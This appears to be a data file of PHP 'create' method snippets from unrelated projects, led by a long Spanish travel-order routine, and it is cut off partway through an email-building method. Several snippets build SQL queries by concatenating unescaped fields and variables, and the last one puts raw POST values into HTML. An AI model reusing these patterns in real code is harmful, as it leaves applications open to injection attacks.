('\".$IdPedido.\"','\".$fechaConfirmacion.\"','\".$IdCliente.\"','1',\r\n\t\t\t\t\t\t\t'00000000-0000-0000-0000-000000000000','\".$pedidoWeb->fields[21].\"',\r\n\t\t\t\t\t\t\t'\".$IdContacto.\"','\".$pedidoWeb->fields[18].\"','\".$pedidoWeb->fields[19].\"','0','\".$IdContacto.\"','',\r\n\t\t\t\t\t\t\t'7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','\".$fechaConfirmacion.\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"','0','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[22].\"',\r\n\t\t\t\t\t\t\t'true','1','\".$grupo.\"','\".$prioridad.\"','100',NULL,'\".$seguimiento.\"',\r\n\t\t\t\t\t\t\t'\".$fechaConfirmacion.\"','\".$moneda.\"','\".$formaPago.\"',NULL,NULL,'false','00000000-0000-0000-0000-000000000000','\".$viaContacto.\"')\");\r\n\t\t\t\t\t//CREAMOS EL PRODUCTO COTIZACION.\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t\t// OBTENEMOS LA CANTIDAD DE PASAJEROS.\t\t\t\t\t\t\r\n\t\t\t\t\t\t$cantidadPasajeros = &$this->conexion->conectarse()->Execute(\"SELECT COUNT(*) AS Expr1\r\n\t\t\t\t\t\tFROM PasajerosPedido\r\n\t\t\t\t\t\tWHERE (IdPedido = '\".$pedidoWeb->fields[0].\"')\");\r\n\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$productoCotizacion = &$this->conexion->conectarse()->Execute(\"INSERT INTO ProductosCotizacion\r\n (Id, IdProducto, IdReferencia, Cantidad, ValorVenta, SubtotalSinDescuento, ValorVentaCliente, IVA, AplicarIva, IdFormaEnvio, TipoTrasporte, UtilidadGlobal, Utilidad, \r\n UtilidadEnPorcentaje, UtilidadDespuesCosto, Arancel, ComicionProveedor, IdEmpleado, FechaModificacion, FechaElaboracion, Moneda, ComentarioAdicional, \r\n Descuento, Aumento)\r\n\t\t\t\t\t\t\tVALUES ('\".$IdProductoCotizacion.\"','\".$pedidoWeb->fields[2].\"','\".$IdPedido.\"','\".$cantidadPasajeros->fields[0].\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"',\r\n\t\t\t\t\t\t\t'0','true','0','0','0','0','true','false','0',\r\n\t\t\t\t\t\t\t'0','7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','\".$fechaConfirmacion.\"','\".$fechaConfirmacion.\"','4','','0','0')\");\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS EL PASAJERO PRODUCTO COTIZACION.\r\n\t\t\t\t\t\t//CONSULTAMOS LOS PASAJEROS ASOCIADOS AL PEDIDO\t\t\t\t\t\t\r\n\t\t\t\t\t\t$pedidoPasajero = &$this->conexion->conectarse()->Execute(\"SELECT Id, IdPedido, Nombre, Apellido, Documento, Email, FechaNacimiento\r\n\t\t\t\t\t\t\tFROM PasajerosPedido \r\n\t\t\t\t\t\t\tWHERE (IdPedido = '\".$pedidoWeb->fields[0].\"')\");\t\t\r\n\t\t\t\t\t\tforeach($pedidoPasajero as $k => $row) {\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$idPasajero=\"\";\r\n\t\t\t\t\t\t\t$numeroPoliza=\"\";// ACA DEBO LLAMAR EL WEBSERVICE\r\n\t\t\t\t\t\t\t$idPasajeroProducto=$this->fun->NewGuid();\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$existePasajero = &$this->conexion->conectarse()->Execute(\"SELECT Id\r\n\t\t\t\t\t\t\t\tFROM Pasajero\r\n\t\t\t\t\t\t\t\tWHERE (Identificacion = '\". $row[4].\"')\");\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t//NOTIFICAMOS A LOS PASAJEROS DE LA COMPRA\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t///////////$this->fun->SendMailConfirmacionPago($row[5], $row[2], $row[3]);\r\n\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\tif($existePasajero->fields[0]==\"\"){\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t//CREAMOS PASAJERO\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$idPasajero=$this->fun->NewGuid();\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$existePasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\tINSERT INTO Pasajero\r\n \t\t(Id, Nombre, Apellido, Identificacion, FechaNacimiento, Telefono, Celular, Email, Estado, Direccion, Observaciones, SeguimientoHistorico)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$row[2].\"','\".$row[3].\"','\".$row[4].\"','\".$row[6].\"','\".$pedidoWeb->fields[10].\"','\".$pedidoWeb->fields[11].\"','\".$row[5].\"','true','\".$pedidoWeb->fields[12].\"','-','\".$seguimiento.\"')\");\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t//ASOCIAMOS EL CONTACTO DE EMERGENCIA\r\n\t\t\t\t\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$IdContacto.\"')\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t//ASOCIAMOS AL PASAJERO PRODUCTO COTIZACION\t\r\n\t\t\t\t\t\t\t\t$asociamospasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\t\tINSERT INTO PasajerosProductosCotizacion (Id, IdPasajero, IdProductoCotizacion, Poliza, Estado, Aumento, Descuento, ValorUnitario)\r\n\t\t\t\t\t\t\t\t\tVALUES ('\".$idPasajeroProducto.\"','\".$idPasajero.\"','\".$IdProductoCotizacion.\"','\".$numeroPoliza.\"','true','0','0','0')\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse if($existePasajero->fields[0]!=\"\"){\r\n\t\t\t\t\t\t\t//\techo \"Entramos al caso cuando el pasajero ya existe\";\r\n\t\t\t\t\t\t\t\t$idPasajero=$existePasajero->fields[0];\t\t\r\n\t\t\t\t\t\t\t\t\t//ASOCIAMOS EL CONTACTO DE EMERGENCIA\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$IdContacto.\"')\");\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t//ASOCIAMOS AL PASAJERO PRODUCTO COTIZACION\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$asociamospasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\t\tINSERT INTO PasajerosProductosCotizacion (Id, IdPasajero, IdProductoCotizacion, Poliza, Estado, Aumento, Descuento, ValorUnitario)\r\n\t\t\t\t\t\t\t\t\tVALUES ('\".$idPasajeroProducto.\"','\".$idPasajero.\"','\".$IdProductoCotizacion.\"','\".$numeroPoliza.\"','true','0','0','0')\");\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t}\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS FACTURA.\t\t\t\t\r\n\t\t\t\t//CREAMOS FACTURA ORDEN COMPRA.\t\t\t\t\r\n\t\t\t\t//CREAMOS ALERTAS FACTURACION.\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t}\r\n\t\t\t//EL CLIENTE YA EXISTE - ASOCIAMOS TODO EL PEDIDO\r\n\t\t\telse if($existeCliente->fields[0]!=\"\") {\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t$IdCliente=$existeCliente->fields[1];\t\t\t\t\t\t\r\n\t\t\t\t$IdContacto=$this->fun->NewGuid();\r\n\t\t\t\t$IdPedido=$this->fun->NewGuid();\r\n\t\t\t\t$IdProductoCotizacion=$this->fun->NewGuid();\r\n\t\t\t\t$IdFactura=$this->fun->NewGuid();\t\t\t\t\r\n\t\t\t\t$grupo=2;//ASESORES\r\n\t\t\t\t$prioridad=2;\r\n\t\t\t\t$seguimiento=\"Creado desde el portal web \". $fechaConfirmacion.\"\\n\";\r\n\t\t\t\t$moneda=2;//DOLARES\r\n\t\t\t\t$viaContacto=2;//WEB\r\n\t\t\t\t$formaPago=1;\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS EL CONTACTO.\t\t\t\t\r\n\t\t\t\t$crearContacto= &$this->conexion->conectarse()->Execute(\"INSERT INTO Contactos(Id, Descripcion, Cargo, Direccion, Telefono, Extension, Celular, Fax, EmailEmpresa, EmailPersonal, Observacion, Cumpleanno, TieneCumpleanno, Estado)\r\n\t\t\t\tVALUES ('\".$IdContacto.\"','\".$pedidoWeb->fields[13].\" \".$pedidoWeb->fields[14].\"',NULL,NULL,'\".$pedidoWeb->fields[15].\"',NULL,NULL,NULL,'\".$pedidoWeb->fields[16].\"','\".$pedidoWeb->fields[16].\"',NULL,NULL,NULL,'true')\");\r\n\t\t\t\t\r\n\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\tVALUES ('\".$IdCliente.\"','\".$IdContacto.\"')\");\r\n\r\n\t\t\t\t//CREAMOS EL PEDIDO\r\n\t\t\t\t\r\n\t\t\t\t$crearPedido = &$this->conexion->conectarse()->Execute(\"INSERT INTO OrdenCompraCliente\r\n (Id, FechaElaboracion, IdCliente, IdPaisOrigen, IdSedeCliente, IdRegionDestino, IdContactoEmergencia, FechaSalida, FechaRegreso, CantidadPasajeros, IdContacto, \r\n Codigo, IdAutor, IdEmpleado, FechaModificacion, SubtotalSinDto, Subtotal, ValorIva, Total, Trm_dia, UtilidadSobreCosto, Estado, GrupoAsignado, Prioridad, \r\n Probabilidad, Observaciones, SeguimientoHistorico, FechaRecepcion, Moneda, FormaPago, TiempoEntrega, TiempoVigencia, Instalacion, \r\n IdEmpleadoModif, IdViadeContacto)\r\n\t\t\t\t\t\t\tVALUES ('\".$IdPedido.\"','\".$fechaConfirmacion.\"','\".$IdCliente.\"','1',\r\n\t\t\t\t\t\t\t'00000000-0000-0000-0000-000000000000','\".$pedidoWeb->fields[21].\"',\r\n\t\t\t\t\t\t\t'\".$IdContacto.\"','\".$pedidoWeb->fields[18].\"','\".$pedidoWeb->fields[19].\"','0','\".$IdContacto.\"','',\r\n\t\t\t\t\t\t\t'7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','\".$fechaConfirmacion.\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"','0','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[22].\"',\r\n\t\t\t\t\t\t\t'true','1','\".$grupo.\"','\".$prioridad.\"','100',NULL,'\".$seguimiento.\"',\r\n\t\t\t\t\t\t\t'\".$fechaConfirmacion.\"','\".$moneda.\"','\".$formaPago.\"',NULL,NULL,'false','00000000-0000-0000-0000-000000000000','\".$viaContacto.\"')\");\r\n\t\t\t\t //CREAMOS EL PRODUCTO COTIZACION.\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\t\t// OBTENEMOS LA CANTIDAD DE PASAJEROS.\t\t\t\t\t\t\r\n\t\t\t\t\t\t$cantidadPasajeros = &$this->conexion->conectarse()->Execute(\"SELECT COUNT(*) AS Expr1\r\n\t\t\t\t\t\tFROM PasajerosPedido\r\n\t\t\t\t\t\tWHERE (IdPedido = '\".$pedidoWeb->fields[0].\"')\");\r\n\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t$productoCotizacion = &$this->conexion->conectarse()->Execute(\"INSERT INTO ProductosCotizacion\r\n (Id, IdProducto, IdReferencia, Cantidad, ValorVenta, SubtotalSinDescuento, ValorVentaCliente, IVA, AplicarIva, IdFormaEnvio, TipoTrasporte, UtilidadGlobal, Utilidad, \r\n UtilidadEnPorcentaje, UtilidadDespuesCosto, Arancel, ComicionProveedor, IdEmpleado, FechaModificacion, FechaElaboracion, Moneda, ComentarioAdicional, \r\n Descuento, Aumento)\r\n\t\t\t\t\t\t\tVALUES ('\".$IdProductoCotizacion.\"','\".$pedidoWeb->fields[2].\"','\".$IdPedido.\"','\".$cantidadPasajeros->fields[0].\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"','\".$pedidoWeb->fields[20].\"',\r\n\t\t\t\t\t\t\t'0','true','0','0','0','0','true','false','0',\r\n\t\t\t\t\t\t\t'0','7e33a6e3-f03d-4211-9ef3-767aa2fa56fc','\".$fechaConfirmacion.\"','\".$fechaConfirmacion.\"','4','','0','0')\");\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t//CREAMOS EL PASAJERO PRODUCTO COTIZACION.\r\n\t\t\t\t\t\t//CONSULTAMOS LOS PASAJEROS ASOCIADOS AL PEDIDO\t\t\t\t\t\t\r\n\t\t\t\t\t\t$pedidoPasajero = &$this->conexion->conectarse()->Execute(\"SELECT Id, IdPedido, Nombre, Apellido, Documento, Email, FechaNacimiento\r\n\t\t\t\t\t\t\tFROM PasajerosPedido \r\n\t\t\t\t\t\t\tWHERE (IdPedido = '\".$pedidoWeb->fields[0].\"')\");\t\t\r\n\t\t\t\t\t\tforeach($pedidoPasajero as $k => $row) {\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$idPasajero=\"\";\r\n\t\t\t\t\t\t\t$numeroPoliza=\"\";// ACA DEBO LLAMAR EL WEBSERVICE\r\n\t\t\t\t\t\t\t$idPasajeroProducto=$this->fun->NewGuid();\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t$existePasajero = &$this->conexion->conectarse()->Execute(\"SELECT Id\r\n\t\t\t\t\t\t\t\tFROM Pasajero\r\n\t\t\t\t\t\t\t\tWHERE (Identificacion = '\". $row[4].\"')\");\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\r\n\t\t\t\t\t\t\t//NOTIFICAMOS A LOS PASAJEROS DE LA COMPRA\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t///////////\t$this->fun->SendMailConfirmacionPago($row[5], $row[2], $row[3]);\r\n\t\t\t\r\n\t\t\t\t\t\t\tif($existePasajero->fields[0]==\"\"){\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t//CREAMOS PASAJERO\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$idPasajero=$this->fun->NewGuid();\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$existePasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\tINSERT INTO Pasajero\r\n \t\t(Id, Nombre, Apellido, Identificacion, FechaNacimiento, Telefono, Celular, Email, Estado, Direccion, Observaciones, SeguimientoHistorico)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$row[2].\"','\".$row[3].\"','\".$row[4].\"','\".$row[6].\"','\".$pedidoWeb->fields[10].\"','\".$pedidoWeb->fields[11].\"','\".$row[5].\"','true','\".$pedidoWeb->fields[12].\"','-','\".$seguimiento.\"')\");\t\r\n\t\t\t\t\t\t\t\t//ASOCIAMOS EL CONTACTO DE EMERGENCIA\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$IdContacto.\"')\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t//ASOCIAMOS AL PASAJERO PRODUCTO COTIZACION\t\r\n\t\t\t\t\t\t\t\t$asociamospasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\t\tINSERT INTO PasajerosProductosCotizacion (Id, IdPasajero, IdProductoCotizacion, Poliza, Estado, Aumento, Descuento, ValorUnitario)\r\n\t\t\t\t\t\t\t\t\tVALUES ('\".$idPasajeroProducto.\"','\".$idPasajero.\"','\".$IdProductoCotizacion.\"','\".$numeroPoliza.\"','true','0','0','0')\");\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\telse if($existePasajero->fields[0]!=\"\"){\r\n\t\t\t\t\t\t\t//\techo \"Entramos al caso cuando el pasajero ya existe\";\r\n\t\t\t\t\t\t\t\t$idPasajero=$existePasajero->fields[0];\t\t\r\n\t\t\t\t\t\t\t\t\t//ASOCIAMOS EL CONTACTO DE EMERGENCIA\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$asociarContacto= &$this->conexion->conectarse()->Execute(\" INSERT INTO EmpresaContactos (IdEmpresa, IdContacto)\r\n\t\t\t\t\t\t\t\tVALUES ('\".$idPasajero.\"','\".$IdContacto.\"')\");\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\t//ASOCIAMOS AL PASAJERO PRODUCTO COTIZACION\t\t\t\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t$asociamospasajero = &$this->conexion->conectarse()->Execute(\"\r\n\t\t\t\t\t\t\t\t\tINSERT INTO PasajerosProductosCotizacion (Id, IdPasajero, IdProductoCotizacion, Poliza, Estado, Aumento, Descuento, ValorUnitario)\r\n\t\t\t\t\t\t\t\t\tVALUES ('\".$idPasajeroProducto.\"','\".$idPasajero.\"','\".$IdProductoCotizacion.\"','\".$numeroPoliza.\"','true','0','0','0')\");\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t\t\r\n\t\t\t\t\t\t}\t\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\t\r\n\t\t\t\r\n\t\t\t}\r\n\t\t\t\r\n\r\n\r\n\r\n\r\n\t\t\t\r\n\t\t}\r\n\t\tcatch (Exception $e)\r\n\t\t{\r\n\t\t\techo 'Caught exception: ', $e->getMessage(), \"\\n\";\r\n\t\t\treturn false;\r\n\t\t}\r\n\t}", "public function create()\n {\n return true;\n }", "public function create()\n {\n return true;\n }", "function evt__agregar()\n\t{\n\t\t$this->set_pantalla('pant_edicion');\n\t}", "public function create(): bool\n {\n return true;\n }", "public function create()\n {\n echo \"Criaçao de novos clientes\";\n }", "public function create()\n {\n return 'Cette action n\\'existe pas';\n }", "public function create(Promemoria $promemoria): bool;", "function Create($td_cod_tipo_denuncia,$de_descripcion,$de_contacto,$de_telefono,$de_nombre,$de_imagen){\n\n\t\t//Instanciamos y nos conectamos a la bd\n\t\t$Conexion = floopets_BD::Connect();\n\t\t$Conexion->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);\n\t\t//Crear el query que vamos a realizar\n\t\t$consulta = \"INSERT INTO denuncia (td_cod_tipo_denuncia,de_descripcion,de_contacto,de_telefono,de_nombre,de_fecha,de_imagen,de_estado) VALUES (?,?,?,?,?,now(),?,'Pendiente')\";\n\n\t\t$query = $Conexion->prepare($consulta);\n\t\t$query->execute(array($td_cod_tipo_denuncia,$de_descripcion,$de_contacto,$de_telefono,$de_nombre,$de_imagen));\n\n\t\tfloopets_BD::Disconnect();\n\t}", "public function createTrancheOld()\n {\n $uniqueId = str_replace(\".\",\"\",microtime(true)).rand(000,999);\n\n if($this->type == 1){\n\n TranchesPoidsPc::create([\n 'nom' => $this->minPoids.\" - \".$this->maxPoids,\n 'min_poids' => $this->minPoids,\n 'max_poids' => $this->maxPoids,\n 'uid' => \"PP\".$uniqueId,\n ]);\n\n\n\n }else{\n TranchesKgPc::create([\n 'nom' => $this->nom,\n 'uid' => \"KP\".$uniqueId,\n ]);\n\n }\n session()->flash('message', 'Tranche \"'.$this->nom. '\" a été crée ');\n\n\n\n $this->reset(['nom','minPoids','maxPoids']);\n\n $this->emit('saved');\n }", "public function create()\n {\n return false;\n }", "function createIngrediente($preco,$qtd_disponivel,$nome){\n if( $this->getIngredienteID($nome)){\n return false;\n }\n\n $query = \"INSERT INTO $this->ingrediente\n ($this->preco, $this->qtd_disponivel, $this->nome)\n values ('$preco', '$qtd_disponivel', '$nome')\";\n\n //Insert ingrediente into database\n if ( $this->dataBase->executeQuery($query) )\n //Fetch ingrediente id from tamanho\n $this->setingredienteID ($nome);\n else\n return false;\n\n return $this->id; // success\n }", "protected function canCreate() {}", "public function create(Request $request)\n {\n \n $data = $request->all();\n $lignedd = [];\n $messages =[\n 'fournisseur_id' => 'Fournisseur requise',\n ];\n $validation = Validator::make($data, [\n 'fournisseur_id' => 'required',\n ], $messages)->validate();\n $data['code_commande'] = mt_rand(100000, 999999);\n $data['status'] = true;\n $data['motif'] = isset($data['motif']) ? $data['motif'] : null;\n $data['details'] = [];\n \n foreach ($data['detailsCommande'] as $detail) {\n array_push($data['details'], [\n 'article_id' => $detail['article_id'],\n 'qte_commande' => $detail['qte_commande'],\n 'prix_ht' => $detail['prix_ht'],\n 'prix_TTC' => $detail['prix_ttc'],\n 'montant_ttc' => $detail['montant_ttc'],\n 'montant_ht' => $detail['montant_ht'],\n 'remise' => $detail['remise']\n ]); \n }\n // pARTIE AJOUTE POUR LE REAL-TIME\n\n event(new CommandcreateEvent($data));\n\n\n // Fin\n try{\n DB::beginTransaction();\n $cmd = Bon_commande::create([\n 'fournisseur_id' => $request->fournisseur_id,\n 'code_commande' => $data['code_commande'],\n 'motif' => $data['motif'],\n 'status' => $data['status'],\n ]);\n\n foreach ($data['details'] as $ligne_commande) {\n $ligne = Commandearticle::create([\n 'bon_commande_id' => $cmd->id,\n 'article_id' => $ligne_commande['article_id'],\n 'qte_commande'=> $ligne_commande['qte_commande'],\n 'prix_ht'=> $ligne_commande['prix_ht'],\n 'prix_TTC'=> $ligne_commande['prix_TTC'],\n 'montant_ht'=> $ligne_commande['montant_ht'],\n 'montant_ttc'=> $ligne_commande['montant_ttc'],\n 'remise'=> $ligne_commande['remise'],\n ]);\n array_push($lignedd, $ligne); \n }\n \n DB::commit();\n return response()->json('Ok enregistrement reussi');\n }catch(\\Throwable $th){\n DB::rollback();\n return response()->json(\"la transaction échoue \".$th);\n }\n \n }", "private function Create() {\r\n $cadastra = new Create;\r\n $cadastra->ExeCreate(self::Entity, $this->Data);\r\n if ($cadastra->getResult()):\r\n $this->Result = $cadastra->getResult();\r\n $this->Error = [\"O poste <b>{$this->Data['post_title']}</b> foi cadastrado com sucesso no sistema!\", WS_SUCCESS];\r\n endif;\r\n }", "public function create(): bool\n {\n return $this->isAllowed(self::CREATE);\n }", "public function create()\n {\n echo \"Đây là trang Create\";\n }", "public function create()\n\t{\n\t\t//\n\t\tdd('Day la trang create');\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function create(){\n\t\t//\n\t}", "public function testMeseroPuedeCrearPedido()\n {\n \n \t$this->visit('inicioPedidos/areaPedidos')\n \t ->select('2', 'mesa')\n ->select('2', 'tacoFierro')\n ->click('Terminar pedido')\n ->seePageIs('inicioPedidos/areaPedidos');\n }", "public function isCreatable();", "public function create()\n\t{ \n \n\t}", "public function create()\n {\n //\n ;\n }", "protected function fijarSentenciaInsert(){}", "public function create()\n {\n return \"inside create method\";\n }", "public function create()\n {\n // \n }", "public function create()\n {\n //\n\t\t\n }", "public function isCreated()\n {\n return (bool) $this->eid;\n }", "public function create()\n {\n //s\n }", "public function getCreate()\n\t{\n\t\t//\n\t}", "public function create(){\n\n $flag = 0;\n $query = \"INSERT INTO \" . $this->table_name . \" SET articolo=:articolo, stato = 1\";\n \n $stmt = $this->conn->prepare($query);\n \n $this->articolo=htmlspecialchars(strip_tags($this->articolo));\n\n $stmt->bindParam(\":articolo\", $this->articolo);\n $stmt->execute();\n $flag = 1;\n\n if($flag == 1){\n return true;\n }\n else\n return false;\n\n }", "public function create()\n { \n \n }", "public function create()\n {\n \n }", "public function create()\n {\n //\n }", "public function create()\r\n {\r\n //\r\n\r\n }", "public function create()\n {\n //\n \n }", "public function actionCreate($id_informacion = NULL) {\n $model = new GestionComentarios;\n\n // Uncomment the following line if AJAX validation is needed\n // $this->performAjaxValidation($model);\n\n if (isset($_POST['GestionComentarios'])) {\n $model->attributes = $_POST['GestionComentarios'];\n date_default_timezone_set('America/Guayaquil'); // Zona horaria de Guayaquil Ecuador\n $model->fecha = date(\"Y-m-d H:i:s\");\n $model->id_vehiculo = $_POST['GestionComentarios']['id_vehiculo'];\n\n if ($model->save()) {\n $cargo_id = (int) Yii::app()->user->getState('cargo_id');\n $grupo_id = (int) Yii::app()->user->getState('grupo_id');\n $id_asesor = Yii::app()->user->getId();\n $dealer_id = $this->getDealerId($id_asesor);\n $concesionarioid = $this->getConcesionarioDealerId($_POST['GestionComentarios']['id_responsable_enviado']);\n $not = new GestionNotificaciones;\n require_once 'email/mail_func.php';\n if ($cargo_id == 70) { // jefe de almacen\n // enviar notificacion al jefe de almacen\n $not->tipo = 5; // tipo seguimiento\n $not->paso = 12;\n $not->id_informacion = $_POST['GestionComentarios']['id_informacion'];\n $not->id_asesor = $_POST['GestionComentarios']['id_responsable_recibido'];\n $not->id_dealer = $this->getDealerId(Yii::app()->user->getId());\n $not->descripcion = 'Se ha creado un nuevo comentario';\n $not->fecha = date(\"Y-m-d H:i:s\");\n $not->id_asesor_envia = $_POST['GestionComentarios']['id_responsable_enviado'];\n $not->id_agendamiento = $model->id;\n $not->save();\n\n $asunto = 'Kia Motors Ecuador - Comentario enviado por Jefe de Sucursal; ' . $this->getResponsable($_POST['GestionComentarios']['id_responsable_enviado']) . '.';\n $email = $this->getAsesorEmail($_POST['GestionComentarios']['id_responsable_recibido']);\n //die('email asesor: '.$email);\n $general = '<body style=\"margin: 10px;\">\n <div style=\"width:600px; margin:0 auto; font-family:Arial, Helvetica, sans-serif; font-size: 11px;\">\n <div align=\"\">\n <img src=\"images/header_mail.jpg\"><br>\n <p style=\"margin: 2px 0;\">Señor(a): Asesor de Ventas: ' . $this->getResponsable($_POST['GestionComentarios']['id_responsable_recibido']) . '</p>\n <p></p> <br /> \n\n <p style=\"margin: 2px 0;\">Se ha generado un comentario desde la plataforma de comentarios.</p><br /> \n \n <p style=\"margin: 2px 0;\">A continuación le presentamos el detalle:</p><br /><br />\n \n <table width=\"600\">\n <tr><td><strong>Jefe Comercial:</strong></td><td>' . $this->getResponsable($id_asesor) . '</td></tr>\n <tr><td><strong>Concesionario:</strong></td><td>' . $this->getNombreConcesionario($concesionarioid) . '</td></tr> \n <tr><td><strong>Modelo:</strong></td><td>' . $this->getModeloTestDrive($_POST['GestionComentarios']['id_vehiculo']) . '</td></tr>\n <tr><td><strong>Fecha:</strong></td><td>' . date(\"d\") . \"/\" . date(\"m\") . \"/\" . date(\"Y\") . '</td></tr>\n <tr><td><strong>Hora:</strong></td><td>' . date(\"H:i:s\") . '</td></tr>\n </table>\n <br/><br />\n <p style=\"margin: 2px 0;\">Por favor ingresar a la plataforma,<a href=\"' . Yii::app()->createAbsoluteUrl('gestionComentarios/create', array('id_informacion' => $_POST['GestionComentarios']['id_informacion'], 'id' => $model->id, 'validate' => 'true')) . '\">Aquí</a></p><br />\n <p>Kia Motors Ecuador</p><br /><br />\n\n \n </div>\n </div>\n </body>';\n }\n if ($cargo_id == 71) { // asesor de ventas\n \n // enviar notificacion al asesor de ventas\n $not->tipo = 5; // tipo seguimiento\n $not->paso = 12;\n $not->id_informacion = $_POST['GestionComentarios']['id_informacion'];\n $not->id_asesor = $_POST['GestionComentarios']['id_responsable_recibido'];\n $not->id_dealer = $this->getDealerId(Yii::app()->user->getId());\n $not->descripcion = 'Se ha creado un nuevo comentario';\n $not->fecha = date(\"Y-m-d H:i:s\");\n $not->id_asesor_envia = $_POST['GestionComentarios']['id_responsable_enviado'];\n $not->id_agendamiento = $model->id;\n $not->save();\n $nombre_jefe_sucursal = $this->getNombresJefeConcesion(70, $grupo_id, $dealer_id);\n $email = $this->getEmailJefeConcesion(70, $grupo_id, $dealer_id); //email jefe de sucursal\n //die('nombre jefe de sucursal; '.$nombre_jefe_sucursal);\n $asunto = 'Kia Motors Ecuador - Comentario enviado por Asesor de Ventas: ' . $this->getResponsable($_POST['GestionComentarios']['id_responsable_recibido']) . '.';\n $general = '<body style=\"margin: 10px;\">\n <div style=\"width:600px; margin:0 auto; 